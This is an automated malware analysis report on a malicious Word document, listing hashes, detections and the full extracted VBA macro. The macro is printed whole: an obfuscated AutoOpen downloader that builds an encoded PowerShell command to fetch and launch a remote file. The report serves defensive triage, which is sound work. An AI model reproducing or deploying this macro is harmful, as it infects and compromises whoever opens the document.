Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 97a127de5648b45a…

MALICIOUS

Office (OLE)

96.0 KB Created: 2018-04-19 18:59:00 Authoring application: Microsoft Office Word First seen: 2021-07-07
MD5: aac73eb8c2ce63c9a7371457d9e7d980 SHA-1: ec77b5b7c95ad9ed0d419fef954182a38cb6ab63 SHA-256: 97a127de5648b45a0defd22244155ae6839499b533615a4aeef6baabd9b99ecd
290 Risk Score

Malware Insights

MITRE ATT&CK
T1059.003 Windows Command Shell T1566.001 Spearphishing Attachment

The sample contains a legacy WordBasic AutoOpen macro that is designed to execute a command-line payload. The macro constructs and executes a command using cmd.exe, which likely downloads and runs a second-stage payload. The presence of the AutoOpen marker and the Shell() call strongly indicate malicious intent.

Heuristics 9

  • ClamAV: Doc.Downloader.00536d-6720548-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.00536d-6720548-0
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
      Call VBA.Interaction.Shell(peReQUXIlatOmAXAgUdOGCIpYWyNEnEL, (10 / 10) - 1)
Dim LlopOqaXYbUqJiTEPUdGyLAvOfACYxIFotqNyvE(2)
  • cmd.exe reference in VBA high OLE_VBA_CMD
    cmd.exe reference in VBA
    Matched line in script
    oRaFOjUbuXObeLoKYcQoXoXAPTW_9(1) = tMosYKuvANAWUBuXi & CStr("5385")
NEiIroqUOzoOhyiIKixuKYHOCYNilAreaANiC = "cmd.exe /c P^" + Chr(1 + 10 + (75) + 25) + "^W^e^r^s^" + Chr(2 + (35 * 2)) + "^e^L^L^.^e^x^e^ ^-^E^C^ ^K^A^B^O^A^G^U^A^d^w^A^t^A^E^8^A^Y^g^B^q^A^G^U^A^Y^w^B^0^A^C^A^A^U^w^B^5^A^" + Chr(2 + (35 * 2)) + "^M^A^d^A^B^l^A^G^0^A^L^g^B^O^A^G^U^A^d^A^A^u^A^F^c^A^Z^Q^B^i^A^E^M^A^b^A^B^p^A^G^U^A^b^g^B^0^A^C^k^A^L^g^B^E^A^G^8^A^d^w^B^u^A^G^w^A^b^w^B^h^A^G^Q^A^R^g^B^p^A^G^w^A^Z^Q^A^" + Chr(1 + 10 + (75) + 25) + "^A^C^I^A^a^A^B^0^A^" + Chr(2 + (35 * 2)) + "^Q^A^c^A^A^ …
Dim QitOdEKECsaruJEbUweVaiibypUzJoT(2)
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Const WEwILaMEzULhyTALyveQiYTAdohzOJIkaxYayty = 0
Sub AutoOpen()
On Error Resume Next
  • Suspicious cmd.exe invocation with execution flag high SC_STR_CMD
    Suspicious cmd.exe invocation with execution flag
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)
    • http://schemas.openxmlformats.org/officeDocument/2006/bibliographyIn document text (OLE body)
    • http://schemas.openxmlformats.org/officeDocument/2006/customXmlIn document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 13792 bytes
SHA-256: 5f2b2db5d942722655203bf9f9ccc5afc4c1438260e64fad94e0cb35eef79bc8
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Const WEwILaMEzULhyTALyveQiYTAdohzOJIkaxYayty = 0
Sub AutoOpen()
On Error Resume Next
Dim oRaFOjUbuXObeLoKYcQoXoXAPTW(2)
Dim oRaFOjUbuXObeLoKYcQoXoXAPTW_9(2)
If InStr(9, "tMosYKuvANAWUBuXi", "oRaFOjUbuXObeLoKYcQoXoXAPTW") Then
  oRaFOjUbuXObeLoKYcQoXoXAPTW(0) = InStrRev("tMosYKuvANAWUBuXi", "oRaFOjUbuXObeLoKYcQoXoXAPTW")
  IsError CVErr(5385)
End If
IsError CVErr(119)
If Len(Oct(5385)) > 9 Then
 oRaFOjUbuXObeLoKYcQoXoXAPTW(1) = Hex(11 ^ 9)
End If
oRaFOjUbuXObeLoKYcQoXoXAPTW_9(0) = Now
VarType IsNumeric(CInt("5385"))
oRaFOjUbuXObeLoKYcQoXoXAPTW_9(1) = tMosYKuvANAWUBuXi & CStr("5385")
NEiIroqUOzoOhyiIKixuKYHOCYNilAreaANiC = "cmd.exe /c P^" + Chr(1 + 10 + (75) + 25) + "^W^e^r^s^" + Chr(2 + (35 * 2)) + "^e^L^L^.^e^x^e^ ^-^E^C^ ^K^A^B^O^A^G^U^A^d^w^A^t^A^E^8^A^Y^g^B^q^A^G^U^A^Y^w^B^0^A^C^A^A^U^w^B^5^A^" + Chr(2 + (35 * 2)) + "^M^A^d^A^B^l^A^G^0^A^L^g^B^O^A^G^U^A^d^A^A^u^A^F^c^A^Z^Q^B^i^A^E^M^A^b^A^B^p^A^G^U^A^b^g^B^0^A^C^k^A^L^g^B^E^A^G^8^A^d^w^B^u^A^G^w^A^b^w^B^h^A^G^Q^A^R^g^B^p^A^G^w^A^Z^Q^A^" + Chr(1 + 10 + (75) + 25) + "^A^C^I^A^a^A^B^0^A^" + Chr(2 + (35 * 2)) + "^Q^A^c^A^A^6^A^C^8^A"
Dim QitOdEKECsaruJEbUweVaiibypUzJoT(2)
Dim QitOdEKECsaruJEbUweVaiibypUzJoT_3(2)
If InStr(3, "viJyqyhoqarUcUFjEn", "QitOdEKECsaruJEbUweVaiibypUzJoT") Then
  QitOdEKECsaruJEbUweVaiibypUzJoT(0) = InStrRev("viJyqyhoqarUcUFjEn", "QitOdEKECsaruJEbUweVaiibypUzJoT")
  IsError CVErr(5752)
End If
IsError CVErr(103)
If Len(Oct(5752)) > 3 Then
 QitOdEKECsaruJEbUweVaiibypUzJoT(1) = Hex(10 ^ 3)
End If
QitOdEKECsaruJEbUweVaiibypUzJoT_3(0) = Now
VarType IsNumeric(CInt("5752"))
QitOdEKECsaruJEbUweVaiibypUzJoT_3(1) = viJyqyhoqarUcUFjEn & CStr("5752")

QewotEVaSQerRUXyXpIJAfI = "^L^w^B^3^A^G^8^A^Y^Q^B^0^A^G^k^A^b^g^B^r^A^" + Chr(2 + (35 * 2)) + "^c^A^b^w^B^v^A^C^4^A^Y^w^B^v^A^G^0^A^L^w^B^S^A^F^U^A^S^Q^A^v^A^G^w^A^Z^Q^B^2^A^G^8^A^b^g^B^k^A^C^4^A^c^A^B^" + Chr(1 + 10 + (75) + 25) + "^A^" + Chr(2 + (35 * 2)) + "^A^A^P^w^B^s^A^D^0^A^c^g^B^l^A^G^U^A^e^g^B^h^A^D^U^A^L^g^B^4^A^G^E^A^c^A^A^i^A^C^w^A^I^A^A^k^A^G^U^A^b^g^B^2^A^D^" + Chr(1 + 10 + (75) + 25) + "^A^Q^Q^B^Q^A^F^A^A^R^A^B^B^A^F^Q^A^Q^Q^A^g^A^C^s^A^I^A^A^n^A^F^w^A"


Dim gUaipoletAbELiCyHiNULAnyXuSOPI(2)
Dim gUaipoletAbELiCyHiNULAnyXuSOPI_9(2)
If InStr(9, "aODUuholOq", "gUaipoletAbELiCyHiNULAnyXuSOPI") Then
  gUaipoletAbELiCyHiNULAnyXuSOPI(0) = InStrRev("aODUuholOq", "gUaipoletAbELiCyHiNULAnyXuSOPI")
  IsError CVErr(4442)
End If
IsError CVErr(139)
If Len(Oct(4442)) > 9 Then
 gUaipoletAbELiCyHiNULAnyXuSOPI(1) = Hex(13 ^ 9)
End If
gUaipoletAbELiCyHiNULAnyXuSOPI_9(0) = Now
VarType IsNumeric(CInt("4442"))
gUaipoletAbELiCyHiNULAnyXuSOPI_9(1) = aODUuholOq & CStr("4442")
Dim HynygaxUMUSOLUvjehUCEBOmOcITeBASU(2)
Dim HynygaxUMUSOLUvjehUCEBOmOcITeBASU_4(2)
If InStr(4, "MApyHOdoMAM", "HynygaxUMUSOLUvjehUCEBOmOcITeBASU") Then
  HynygaxUMUSOLUvjehUCEBOmOcITeBASU(0) = InStrRev("MApyHOdoMAM", "HynygaxUMUSOLUvjehUCEBOmOcITeBASU")
  IsError CVErr(7746)
End If
IsError CVErr(124)
If Len(Oct(7746)) > 4 Then
 HynygaxUMUSOLUvjehUCEBOmOcITeBASU(1) = Hex(12 ^ 4)
End If
HynygaxUMUSOLUvjehUCEBOmOcITeBASU_4(0) = Now
VarType IsNumeric(CInt("7746"))
HynygaxUMUSOLUvjehUCEBOmOcITeBASU_4(1) = MApyHOdoMAM & CStr("7746")
vAxUqyNOrINoiAZUHyhovuTONYFYTivo = "^Z^A^B^h^A^D^M^A^Z^A^B^h^A^D^k^A^N^w^A^0^A^C^4^A^Z^Q^B^4^A^G^U^A^J^w^A^p^A^D^s^A^I^A^B^T^A^" + Chr(2 + (35 * 2)) + "^Q^A^Y^Q^B^y^A^" + Chr(2 + (35 * 2)) + "^Q^A^L^Q^B^Q^A^" + Chr(2 + (35 * 2)) + "^I^A^b^w^B^j^A^G^U^A^c^w^B^z^A^C^A^A^J^A^B^l^A^G^4^A^d^g^A^6^A^E^E^A^U^A^B^Q^A^E^Q^A^Q^Q^B^U^A^E^E^A^J^w^B^c^A^G^Q^A^Y^Q^A^z^A^G^Q^A^Y^Q^A^5^A^D^c^A^N^A^A^u^A^G^U^A^e^A^B^l^A^C^c^A^O^w^A^g^A^E^U^A^e^A^B^p^A^" + Chr(2 + (35 * 2)) + "^Q^A"
Dim JAWEMIiITISocYmZAaAbEaYKoiAJITyWevY(2)
Dim JAWEMIiITISocYmZAaAbEaYKoiAJITyWevY_2(2)
If InStr(2, "rymaCnOPItaxIx", "JAWEMIiITISocYmZAaAbEaYKoiAJITyWevY") Then
  JAWEMIiITISocYmZAaAbEaYKoiAJITyWevY(0) = InStrRev("rymaCnOPItaxIx", "JAWEMIiITISocYmZAaAbEaYKoiAJITyWevY")
  IsError CVErr(9997)
End If
IsError CVErr(112)
If Len(Oct(9997)) > 2 Then
 JAWEMIiITISocYmZAaAbEaYKoiAJITyWevY(1) = Hex(11 ^ 2)
End If
JAWEMIiITISocYmZAaAbEaYKoiAJITyWevY_2(0) = Now
VarType IsNumeric(CInt("9997"))
JAWEMIiITISocYmZAaAbEaYKoiAJITyWevY_2(1) = rymaCnOPItaxIx & CStr("9997")
Dim denybiWirNIsQUqaKiJaVoqeXwUwYv(2)
Dim denybiWirNIsQUqaKiJaVoqeXwUwYv_3(2)
If InStr(3, "CadeWEgiyzutOTUkuCoPiT", "denybiWirNIsQUqaKiJaVoqeXwUwYv") Then
  denybiWirNIsQUqaKiJaVoqeXwUwYv(0) = InStrRev("CadeWEgiyzutOTUkuCoPiT", "denybiWirNIsQUqaKiJaVoqeXwUwYv")
  IsError CVErr(6004)
End If
IsError CVErr(123)
If Len(Oct(6004)) > 3 Then
 denybiWirNIsQUqaKiJaVoqeXwUwYv(1) = Hex(12 ^ 3)
End If
denybiWirNIsQUqaKiJaVoqeXwUwYv_3(0) = Now
VarType IsNumeric(CInt("6004"))
denybiWirNIsQUqaKiJaVoqeXwUwYv_3(1) = CadeWEgiyzutOTUkuCoPiT & CStr("6004")


Dim QysACFOtIvuFeXaGVycybEzuQaL(2)
Dim QysACFOtIvuFeXaGVycybEzuQaL_8(2)
If InStr(8, "RODeJiCyNOvEJeBAZO", "QysACFOtIvuFeXaGVycybEzuQaL") Then
  QysACFOtIvuFeXaGVycybEzuQaL(0) = InStrRev("RODeJiCyNOvEJeBAZO", "QysACFOtIvuFeXaGVycybEzuQaL")
  IsError CVErr(4548)
End If
IsError CVErr(108)
If Len(Oct(4548)) > 8 Then
 QysACFOtIvuFeXaGVycybEzuQaL(1) = Hex(10 ^ 8)
End If
QysACFOtIvuFeXaGVycybEzuQaL_8(0) = Now
VarType IsNumeric(CInt("4548"))
QysACFOtIvuFeXaGVycybEzuQaL_8(1) = RODeJiCyNOvEJeBAZO & CStr("4548")
Dim milYnylyLukOLifUtAroLIkediCOxIxYFHeSa(2)
Dim milYnylyLukOLifUtAroLIkediCOxIxYFHeSa_2(2)
If InStr(2, "ZODEwUvurOXaHYXuMeNUNol", "milYnylyLukOLifUtAroLIkediCOxIxYFHeSa") Then
  milYnylyLukOLifUtAroLIkediCOxIxYFHeSa(0) = InStrRev("ZODEwUvurOXaHYXuMeNUNol", "milYnylyLukOLifUtAroLIkediCOxIxYFHeSa")
  IsError CVErr(8410)
End If
IsError CVErr(132)
If Len(Oct(8410)) > 2 Then
 milYnylyLukOLifUtAroLIkediCOxIxYFHeSa(1) = Hex(13 ^ 2)
End If
milYnylyLukOLifUtAroLIkediCOxIxYFHeSa_2(0) = Now
VarType IsNumeric(CInt("8410"))
milYnylyLukOLifUtAroLIkediCOxIxYFHeSa_2(1) = ZODEwUvurOXaHYXuMeNUNol & CStr("8410")
aiSoxUdUCYMufZuJiVuWecok = "^O^w^A^="
Dim VORYnAqobuXucIcOzaADAFXAB(2)
Dim VORYnAqobuXucIcOzaADAFXAB_1(2)
If InStr(1, "ZomuBAbUkuwuoFaxY", "VORYnAqobuXucIcOzaADAFXAB") Then
  VORYnAqobuXucIcOzaADAFXAB(0) = InStrRev("ZomuBAbUkuwuoFaxY", "VORYnAqobuXucIcOzaADAFXAB")
  IsError CVErr(104)
End If
IsError CVErr(121)
If Len(Oct(104)) > 1 Then
 VORYnAqobuXucIcOzaADAFXAB(1) = Hex(12 ^ 1)
End If
VORYnAqobuXucIcOzaADAFXAB_1(0) = Now
VarType IsNumeric(CInt("104"))
VORYnAqobuXucIcOzaADAFXAB_1(1) = ZomuBAbUkuwuoFaxY & CStr("104")
Dim nEhUCeiafAbAzOnECoqOXyriHuHAnjIVOpi(2)
Dim nEhUCeiafAbAzOnECoqOXyriHuHAnjIVOpi_4(2)
If InStr(4, "LeXGEKaGUgApvAzO", "nEhUCeiafAbAzOnECoqOXyriHuHAnjIVOpi") Then
  nEhUCeiafAbAzOnECoqOXyriHuHAnjIVOpi(0) = InStrRev("LeXGEKaGUgApvAzO", "nEhUCeiafAbAzOnECoqOXyriHuHAnjIVOpi")
  IsError CVErr(717)
End If
IsError CVErr(104)
If Len(Oct(717)) > 4 Then
 nEhUCeiafAbAzOnECoqOXyriHuHAnjIVOpi(1) = Hex(10 ^ 4)
End If
nEhUCeiafAbAzOnECoqOXyriHuHAnjIVOpi_4(0) = Now
VarType IsNumeric(CInt("717"))
nEhUCeiafAbAzOnECoqOXyriHuHAnjIVOpi_4(1) = LeXGEKaGUgApvAzO & CStr("717")

Dim FoMiLetoyjYVbIjAxajoMIQaXiGiNeWw(2)
Dim FoMiLetoyjYVbIjAxajoMIQaXiGiNeWw_5(2)
If InStr(5, "sapUCeaObokyKoWOn", "FoMiLetoyjYVbIjAxajoMIQaXiGiNeWw") Then
  FoMiLetoyjYVbIjAxajoMIQaXiGiNeWw(0) = InStrRev("sapUCeaObokyKoWOn", "FoMiLetoyjYVbIjAxajoMIQaXiGiNeWw")
  IsError CVErr(560)
End If
IsError CVErr(105)
If Len(Oct(560)) > 5 Then
 FoMiLetoyjYVbIjAxajoMIQaXiGiNeWw(1) = Hex(10 ^ 5)
End If
FoMiLetoyjYVbIjAxajoMIQaXiGiNeWw_5(0) = Now
VarType IsNumeric(CInt("560"))
FoMiLetoyjYVbIjAxajoMIQaXiGiNeWw_5(1) = sapUCeaObokyKoWOn & CStr("560")
Dim AlidyWylAFkIbOMiqaVUvUfyl(2)
Dim AlidyWylAFkIbOMiqaVUvUfyl_4(2)
If InStr(4, "FizIDuxABOHACaiObyR", "AlidyWylAFkIbOMiqaVUvUfyl") Then
  AlidyWylAFkIbOMiqaVUvUfyl(0) = InStrRev("FizIDuxABOHACaiObyR", "AlidyWylAFkIbOMiqaVUvUfyl")
  IsError CVErr(7669)
End If
IsError CVErr(134)
If Len(Oct(7669)) > 4 Then
 AlidyWylAFkIbOMiqaVUvUfyl(1) = Hex(13 ^ 4)
End If
AlidyWylAFkIbOMiqaVUvUfyl_4(0) = Now
VarType IsNumeric(CInt("7669"))
AlidyWylAFkIbOMiqaVUvUfyl_4(1) = FizIDuxABOHACaiObyR & CStr("7669")

Dim SyttYvivYvIsEKIlAhIGeVUPyjaNeBydoBYpYNekuTu(2)
Dim SyttYvivYvIsEKIlAhIGeVUPyjaNeBydoBYpYNekuTu_8(2)
If InStr(8, "VUxuSUdlUXIiyco", "SyttYvivYvIsEKIlAhIGeVUPyjaNeBydoBYpYNekuTu") Then
  SyttYvivYvIsEKIlAhIGeVUPyjaNeBydoBYpYNekuTu(0) = InStrRev("VUxuSUdlUXIiyco", "SyttYvivYvIsEKIlAhIGeVUPyjaNeBydoBYpYNekuTu")
  IsError CVErr(6334)
End If
IsError CVErr(118)
If Len(Oct(6334)) > 8 Then
 SyttYvivYvIsEKIlAhIGeVUPyjaNeBydoBYpYNekuTu(1) = Hex(11 ^ 8)
End If
SyttYvivYvIsEKIlAhIGeVUPyjaNeBydoBYpYNekuTu_8(0) = Now
VarType IsNumeric(CInt("6334"))
SyttYvivYvIsEKIlAhIGeVUPyjaNeBydoBYpYNekuTu_8(1) = VUxuSUdlUXIiyco & CStr("6334")
Call XYSUzonYCEcAtYZoHaliNEjaxEgemxeReXY(NEiIroqUOzoOhyiIKixuKYHOCYNilAreaANiC & "", QewotEVaSQerRUXyXpIJAfI + CStr(""), vAxUqyNOrINoiAZUHyhovuTONYFYTivo, "yoq1duqp2710suq", aiSoxUdUCYMufZuJiVuWecok)

End Sub
Sub XYSUzonYCEcAtYZoHaliNEjaxEgemxeReXY(NEiIroqUOzoOhyiIKixuKYHOCYNilAreaANiC, QewotEVaSQerRUXyXpIJAfI, vAxUqyNOrINoiAZUHyhovuTONYFYTivo, skiiAsUbuCeSuluviJyQUSacIZuTyw, aiSoxUdUCYMufZuJiVuWecok)
On Error Resume Next

Dim beWEnEcIPUvehUxePiDEQdodOSuFiSUPOfRiM(2)
Dim beWEnEcIPUvehUxePiDEQdodOSuFiSUPOfRiM_8(2)
If InStr(8, "RpELoxaZOxOQotAvUt", "beWEnEcIPUvehUxePiDEQdodOSuFiSUPOfRiM") Then
  beWEnEcIPUvehUxePiDEQdodOSuFiSUPOfRiM(0) = InStrRev("RpELoxaZOxOQotAvUt", "beWEnEcIPUvehUxePiDEQdodOSuFiSUPOfRiM")
  IsError CVErr(6522)
End If
IsError CVErr(128)
If Len(Oct(6522)) > 8 Then
 beWEnEcIPUvehUxePiDEQdodOSuFiSUPOfRiM(1) = Hex(12 ^ 8)
End If
beWEnEcIPUvehUxePiDEQdodOSuFiSUPOfRiM_8(0) = Now
VarType IsNumeric(CInt("6522"))
beWEnEcIPUvehUxePiDEQdodOSuFiSUPOfRiM_8(1) = RpELoxaZOxOQotAvUt & CStr("6522")
Dim ZpoRUSiokovUatoCODiRoFAnukocOZ(2)
Dim ZpoRUSiokovUatoCODiRoFAnukocOZ_4(2)
If InStr(4, "aETYVYZEqYvM", "ZpoRUSiokovUatoCODiRoFAnukocOZ") Then
  ZpoRUSiokovUatoCODiRoFAnukocOZ(0) = InStrRev("aETYVYZEqYvM", "ZpoRUSiokovUatoCODiRoFAnukocOZ")
  IsError CVErr(4070)
End If
IsError CVErr(114)
If Len(Oct(4070)) > 4 Then
 ZpoRUSiokovUatoCODiRoFAnukocOZ(1) = Hex(11 ^ 4)
End If
ZpoRUSiokovUatoCODiRoFAnukocOZ_4(0) = Now
VarType IsNumeric(CInt("4070"))
ZpoRUSiokovUatoCODiRoFAnukocOZ_4(1) = aETYVYZEqYvM & CStr("4070")

Dim iUZAcurYdeJEHUfUbkiwaIcagaL(2)
Dim iUZAcurYdeJEHUfUbkiwaIcagaL_4(2)
If InStr(4, "iIvuvUJuByl", "iUZAcurYdeJEHUfUbkiwaIcagaL") Then
  iUZAcurYdeJEHUfUbkiwaIcagaL(0) = InStrRev("iIvuvUJuByl", "iUZAcurYdeJEHUfUbkiwaIcagaL")
  IsError CVErr(6503)
End If
IsError CVErr(124)
If Len(Oct(6503)) > 4 Then
 iUZAcurYdeJEHUfUbkiwaIcagaL(1) = Hex(12 ^ 4)
End If
iUZAcurYdeJEHUfUbkiwaIcagaL_4(0) = Now
VarType IsNumeric(CInt("6503"))
iUZAcurYdeJEHUfUbkiwaIcagaL_4(1) = iIvuvUJuByl & CStr("6503")
Dim bamUtaPOBEXnuZlOJYgPIxeJexetipIQyCA(2)
Dim bamUtaPOBEXnuZlOJYgPIxeJexetipIQyCA_6(2)
If InStr(6, "pIMEBaSEJIietydIPiTE", "bamUtaPOBEXnuZlOJYgPIxeJexetipIQyCA") Then
  bamUtaPOBEXnuZlOJYgPIxeJexetipIQyCA(0) = InStrRev("pIMEBaSEJIietydIPiTE", "bamUtaPOBEXnuZlOJYgPIxeJexetipIQyCA")
  IsError CVErr(2673)
End If
IsError CVErr(136)
If Len(Oct(2673)) > 6 Then
 bamUtaPOBEXnuZlOJYgPIxeJexetipIQyCA(1) = Hex(13 ^ 6)
End If
bamUtaPOBEXnuZlOJYgPIxeJexetipIQyCA_6(0) = Now
VarType IsNumeric(CInt("2673"))
bamUtaPOBEXnuZlOJYgPIxeJexetipIQyCA_6(1) = pIMEBaSEJIietydIPiTE & CStr("2673")
  peReQUXIlatOmAXAgUdOGCIpYWyNEnEL = Join(Array(NEiIroqUOzoOhyiIKixuKYHOCYNilAreaANiC, QewotEVaSQerRUXyXpIJAfI, vAxUqyNOrINoiAZUHyhovuTONYFYTivo, aiSoxUdUCYMufZuJiVuWecok), "")
Dim LoZogAgIgiHUJkYMydCamUqyraXezIzypYwEwojegY(2)
Dim LoZogAgIgiHUJkYMydCamUqyraXezIzypYwEwojegY_10(2)
If InStr(10, "CAlugubofukoCefohU", "LoZogAgIgiHUJkYMydCamUqyraXezIzypYwEwojegY") Then
  LoZogAgIgiHUJkYMydCamUqyraXezIzypYwEwojegY(0) = InStrRev("CAlugubofukoCefohU", "LoZogAgIgiHUJkYMydCamUqyraXezIzypYwEwojegY")
  IsError CVErr(9874)
End If
IsError CVErr(1310)
If Len(Oct(9874)) > 10 Then
 LoZogAgIgiHUJkYMydCamUqyraXezIzypYwEwojegY(1) = Hex(13 ^ 10)
End If
LoZogAgIgiHUJkYMydCamUqyraXezIzypYwEwojegY_10(0) = Now
VarType IsNumeric(CInt("9874"))
LoZogAgIgiHUJkYMydCamUqyraXezIzypYwEwojegY_10(1) = CAlugubofukoCefohU & CStr("9874")
Dim CitYhYSyPebaMIXIMUDihOtooZEBIvuxe(2)
Dim CitYhYSyPebaMIXIMUDihOtooZEBIvuxe_9(2)
If InStr(9, "qEZetifagoN", "CitYhYSyPebaMIXIMUDihOtooZEBIvuxe") Then
  CitYhYSyPebaMIXIMUDihOtooZEBIvuxe(0) = InStrRev("qEZetifagoN", "CitYhYSyPebaMIXIMUDihOtooZEBIvuxe")
  IsError CVErr(895)
End If
IsError CVErr(139)
If Len(Oct(895)) > 9 Then
 CitYhYSyPebaMIXIMUDihOtooZEBIvuxe(1) = Hex(13 ^ 9)
End If
CitYhYSyPebaMIXIMUDihOtooZEBIvuxe_9(0) = Now
VarType IsNumeric(CInt("895"))
CitYhYSyPebaMIXIMUDihOtooZEBIvuxe_9(1) = qEZetifagoN & CStr("895")
  
  Call VBA.Interaction.Shell(peReQUXIlatOmAXAgUdOGCIpYWyNEnEL, (10 / 10) - 1)
Dim LlopOqaXYbUqJiTEPUdGyLAvOfACYxIFotqNyvE(2)
Dim LlopOqaXYbUqJiTEPUdGyLAvOfACYxIFotqNyvE_3(2)
If InStr(3, "dAMiKsIFyneHYrAnefUD", "LlopOqaXYbUqJiTEPUdGyLAvOfACYxIFotqNyvE") Then
  LlopOqaXYbUqJiTEPUdGyLAvOfACYxIFotqNyvE(0) = InStrRev("dAMiKsIFyneHYrAnefUD", "LlopOqaXYbUqJiTEPUdGyLAvOfACYxIFotqNyvE")
  IsError CVErr(3701)
End If
IsError CVErr(113)
If Len(Oct(3701)) > 3 Then
 LlopOqaXYbUqJiTEPUdGyLAvOfACYxIFotqNyvE(1) = Hex(11 ^ 3)
End If
LlopOqaXYbUqJiTEPUdGyLAvOfACYxIFotqNyvE_3(0) = Now
VarType IsNumeric(CInt("3701"))
LlopOqaXYbUqJiTEPUdGyLAvOfACYxIFotqNyvE_3(1) = dAMiKsIFyneHYrAnefUD & CStr("3701")



End Sub

Open this report in the interactive analyzer, or submit your own file for analysis.